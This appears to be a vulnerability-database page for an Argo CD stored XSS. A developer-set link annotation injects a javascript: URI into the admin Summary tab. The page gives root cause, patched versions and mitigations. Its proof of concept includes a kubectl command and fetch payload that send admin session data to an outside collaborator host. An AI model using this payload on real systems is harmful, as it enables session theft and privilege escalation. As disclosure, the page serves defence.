Argo CD CVE-2026-45738
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attacker needs authenticated developer write access (PR:L) and an admin must click the crafted link (UI:R); script runs cross-privilege in the admin session (S:C) enabling session theft (C:H) and admin API actions (I:H), no availability impact.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Summary
A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
{parts[0]}
</a>The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only - no script-src, no connect-src, no default-src - providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).
Step 1 - Set malicious annotation as developer:
kubectl annotate application <app-name> -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'The URL section in the admin's Summary tab renders the link as "GitHub Repo" - the javascript: payload is invisible in the displayed text.
Step 2 - Admin opens Summary tab of the annotated application and clicks the link.
Step 3 - JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))Step 4 - Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
{"iss":"argocd","loggedIn":true,"username":"admin"}Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
- Stored XSS - payload persists in the Kubernetes Application resource until manually removed
- Privilege escalation - developer role → admin session hijacking via authenticated API calls
- Maximum stealth - the injected link displays as any attacker-chosen text; the
javascript:href is never visible to the victim - No server-side interaction required - purely client-side exploit, no network egress needed for execution (exfiltration uses
no-corsfetch, bypassed by absentconnect-srcCSP) - Any admin or operator who views the Summary tab of the compromised application is affected
Credits
Discovered and reported by Jan Kahmen ([jan@turingpoint.de](mailto:jan@turingpoint.de)) - turingpoint.de
AnalysisAI
Stored cross-site scripting in Argo CD lets a low-privileged developer escalate to admin by planting a malicious link.argocd.argoproj.io/* annotation on any Application; the value is rendered as an unvalidated <a href> in the Summary tab's URLs section, so a javascript: payload hidden behind a benign 'GitHub Repo' label executes in the admin's authenticated same-origin session when clicked. A detailed public exploit exists (PoC in the vendor advisory demonstrating session exfiltration via Burp Collaborator), though EPSS is very low (0.04%) and there is no public exploit identified as actively used; this is a CVSS 8.7 authenticated, user-interaction-dependent issue affecting Argo CD v2.x, v3.2.x, v3.3.x and v3.4.x. An attacker with applications write access can capture the admin's session data and drive Argo CD APIs as admin.
Technical ContextAI
Argo CD is a Kubernetes-native GitOps continuous-delivery controller with a React (16.9.3) web UI. Managed resources can carry link.argocd.argoproj.io/* annotations that Argo CD surfaces as external links. The vulnerable sink is ui/src/app/applications/components/application-summary/application-summary.tsx:277, which splits the annotation on |, using parts[0] as display text and parts[1] directly as the anchor href with no call to the existing isValidURL() helper in shared/utils.ts - unlike the sibling ApplicationURLs component which does validate and block dangerous schemes. This is a classic CWE-79 (improper neutralization of input during web page generation) failure: React 16.x does not itself strip javascript:/data:/vbscript: URIs from href (React 19 later added that guard), and Argo CD's default CSP is only frame-ancestors 'self' with no script-src/connect-src/default-src, so there is no defense-in-depth against script execution or credentialed exfiltration. Affected packages per CPE are go/github.com/argoproj/argo-cd v2, and .../v3.
RemediationAI
Vendor-released patches are available: upgrade to Argo CD 3.2.12, 3.3.10, or 3.4.2 depending on your release line (release notes at https://github.com/argoproj/argo-cd/releases/tag/v3.2.12, /v3.3.10, and /v3.4.2). The fix adds server-side URL validation via settings.ValidateExternalURL() in controller/cache/info.go and applies isValidURL() filtering in the UI summary component (commits 00f83c41, 35ea43c5, c8df5ff7), dropping javascript:, data:, vbscript: and scheme-less annotation values. If running the v2.x line (2.14.21 and earlier), note no patched v2 version is identified at time of analysis - plan migration to a fixed v3 release. As compensating controls until patched: tighten RBAC so untrusted users do not hold applications, *, */* write access (restrict the link.argocd.argoproj.io/* annotation surface by limiting who can update Application resources, at the cost of developer self-service); harden the reverse proxy in front of Argo CD to inject a strict Content-Security-Policy (e.g. script-src 'self'; connect-src 'self') to blunt inline script execution and out-of-band exfiltration, with the trade-off of possible UI breakage that must be tested; and advise admins/operators not to click external links on Applications from untrusted authors.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-h98r-wv3h-fr38